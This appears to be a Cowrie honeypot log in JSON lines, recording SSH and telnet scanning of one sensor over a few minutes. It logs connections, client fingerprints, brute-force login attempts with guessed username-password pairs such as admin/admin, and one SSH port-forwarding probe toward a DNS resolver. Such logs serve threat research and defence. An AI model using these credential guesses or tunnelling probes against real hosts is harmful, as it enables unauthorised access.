{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:45:48.828676Z","src_ip":"209.38.20.25","session":"0ddfe8c30f4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"passwd","message":"login attempt [testuser/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:45:49.707071Z","src_ip":"209.38.20.25","session":"0ddfe8c30f4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:45:50.922095Z","src_ip":"209.38.20.25","session":"0ddfe8c30f4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.913065671920776,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:45:53.625090Z","src_ip":"45.225.236.220","session":"b0aba4a40538","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":48670,"dst_ip":"159.203.135.109","dst_port":23,"session":"da5a6a08306a","protocol":"telnet","message":"New connection: 174.138.46.234:48670 (159.203.135.109:23) [session: da5a6a08306a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:46:13.402983Z"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":46454,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdf307fff798","protocol":"telnet","message":"New connection: 217.182.190.44:46454 (10.17.0.5:23) [session: bdf307fff798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:46:16.396895Z"}
{"eventid":"cowrie.session.closed","duration":53.807350397109985,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:46:21.718585Z","src_ip":"174.138.46.234","session":"290f74e4da92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":52536,"dst_ip":"159.203.135.109","dst_port":23,"session":"1eb90104af5c","protocol":"telnet","message":"New connection: 174.138.46.234:52536 (159.203.135.109:23) [session: 1eb90104af5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:46:27.476382Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":53052,"dst_ip":"159.203.135.109","dst_port":23,"session":"de07750d06af","protocol":"telnet","message":"New connection: 174.138.46.234:53052 (159.203.135.109:23) [session: de07750d06af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:46:29.280413Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":53712,"dst_ip":"159.203.135.109","dst_port":23,"session":"51b92a456f63","protocol":"telnet","message":"New connection: 174.138.46.234:53712 (159.203.135.109:23) [session: 51b92a456f63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:46:31.494815Z"}
{"eventid":"cowrie.session.closed","duration":5.9572131633758545,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:46:35.237527Z","src_ip":"174.138.46.234","session":"de07750d06af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.953690767288208,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:46:37.448379Z","src_ip":"174.138.46.234","session":"51b92a456f63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.20.25","src_port":42666,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d8c60d9ffa7","protocol":"ssh","message":"New connection: 209.38.20.25:42666 (159.203.135.109:22) [session: 6d8c60d9ffa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:46:40.991707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:46:40.998253Z","src_ip":"209.38.20.25","session":"6d8c60d9ffa7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:46:41.214296Z","src_ip":"209.38.20.25","session":"6d8c60d9ffa7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test5","password":"test5","message":"login attempt [test5/test5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:46:42.091914Z","src_ip":"209.38.20.25","session":"6d8c60d9ffa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:46:43.307501Z","src_ip":"209.38.20.25","session":"6d8c60d9ffa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":64342,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cdfe2b18380","protocol":"ssh","message":"New connection: 87.251.64.176:64342 (10.17.0.5:22) [session: 5cdfe2b18380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:46:45.246780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:46:45.252762Z","src_ip":"87.251.64.176","session":"5cdfe2b18380","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:46:45.350883Z","src_ip":"87.251.64.176","session":"5cdfe2b18380","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:46:45.642204Z","src_ip":"87.251.64.176","session":"5cdfe2b18380","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:46:45.742232Z","session":"5cdfe2b18380","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:46:45.840422Z","src_ip":"87.251.64.176","session":"5cdfe2b18380","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:46:45.945327Z","src_ip":"87.251.64.176","session":"5cdfe2b18380","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.24356436729431,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:46:49.640268Z","src_ip":"217.182.190.44","session":"bdf307fff798","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.18657946586609,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:47:04.589446Z","src_ip":"174.138.46.234","session":"da5a6a08306a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.91967844963074,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:47:14.395931Z","src_ip":"174.138.46.234","session":"1eb90104af5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":41868,"dst_ip":"159.203.135.109","dst_port":23,"session":"af9d89ff42a4","protocol":"telnet","message":"New connection: 174.138.46.234:41868 (159.203.135.109:23) [session: af9d89ff42a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:47:29.998511Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":41876,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e68a48fbdc0","protocol":"telnet","message":"New connection: 174.138.46.234:41876 (159.203.135.109:23) [session: 7e68a48fbdc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:47:30.080328Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":41964,"dst_ip":"159.203.135.109","dst_port":23,"session":"912a341adb3d","protocol":"telnet","message":"New connection: 174.138.46.234:41964 (159.203.135.109:23) [session: 912a341adb3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:47:31.367887Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":42372,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c01e3c68789","protocol":"telnet","message":"New connection: 174.138.46.234:42372 (159.203.135.109:23) [session: 5c01e3c68789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:47:31.887071Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.20.25","src_port":49810,"dst_ip":"159.203.135.109","dst_port":22,"session":"89e321642f53","protocol":"ssh","message":"New connection: 209.38.20.25:49810 (159.203.135.109:22) [session: 89e321642f53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:47:34.766213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:47:34.771410Z","src_ip":"209.38.20.25","session":"89e321642f53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:47:34.982629Z","src_ip":"209.38.20.25","session":"89e321642f53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"ftp","message":"login attempt [ftptest/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:47:35.859883Z","src_ip":"209.38.20.25","session":"89e321642f53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.996138095855713,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:47:35.994335Z","src_ip":"174.138.46.234","session":"af9d89ff42a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:47:37.074199Z","src_ip":"209.38.20.25","session":"89e321642f53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.941319465637207,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:47:37.309124Z","src_ip":"174.138.46.234","session":"912a341adb3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.137780666351318,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:47:39.024761Z","src_ip":"174.138.46.234","session":"5c01e3c68789","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":44958,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7152691691a","protocol":"telnet","message":"New connection: 174.138.46.234:44958 (159.203.135.109:23) [session: f7152691691a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:47:41.197256Z"}
{"eventid":"cowrie.session.closed","duration":6.014026403427124,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:47:47.211132Z","src_ip":"174.138.46.234","session":"f7152691691a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.254.191.85","src_port":34806,"dst_ip":"159.203.135.109","dst_port":23,"session":"058ed07a22b3","protocol":"telnet","message":"New connection: 109.254.191.85:34806 (159.203.135.109:23) [session: 058ed07a22b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:48:10.866945Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":53260,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3e89c761041","protocol":"telnet","message":"New connection: 174.138.46.234:53260 (159.203.135.109:23) [session: e3e89c761041]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:48:11.827856Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":53112,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0d211d9ee14","protocol":"telnet","message":"New connection: 174.138.46.234:53112 (159.203.135.109:23) [session: c0d211d9ee14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:48:13.311785Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":54152,"dst_ip":"159.203.135.109","dst_port":23,"session":"64645046a87a","protocol":"telnet","message":"New connection: 174.138.46.234:54152 (159.203.135.109:23) [session: 64645046a87a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:48:14.366950Z"}
{"eventid":"cowrie.session.closed","duration":46.67429327964783,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:48:16.754417Z","src_ip":"174.138.46.234","session":"7e68a48fbdc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.951147079467773,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:48:16.778891Z","src_ip":"174.138.46.234","session":"e3e89c761041","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.783066987991333,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:48:18.094713Z","src_ip":"174.138.46.234","session":"c0d211d9ee14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.936671495437622,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:48:21.303525Z","src_ip":"174.138.46.234","session":"64645046a87a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.081058025360107,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:48:23.947931Z","src_ip":"109.254.191.85","session":"058ed07a22b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.28.227.79","src_port":34884,"dst_ip":"159.203.135.109","dst_port":23,"session":"c12983928eee","protocol":"telnet","message":"New connection: 77.28.227.79:34884 (159.203.135.109:23) [session: c12983928eee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:48:29.695655Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.20.25","src_port":41402,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b79c6ecc8e0","protocol":"ssh","message":"New connection: 209.38.20.25:41402 (159.203.135.109:22) [session: 0b79c6ecc8e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:48:31.203413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:48:31.208028Z","src_ip":"209.38.20.25","session":"0b79c6ecc8e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:48:31.420970Z","src_ip":"209.38.20.25","session":"0b79c6ecc8e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpserver","password":"123456","message":"login attempt [ftpserver/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:48:32.299675Z","src_ip":"209.38.20.25","session":"0b79c6ecc8e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:48:33.513782Z","src_ip":"209.38.20.25","session":"0b79c6ecc8e0","protocol":"ssh"}
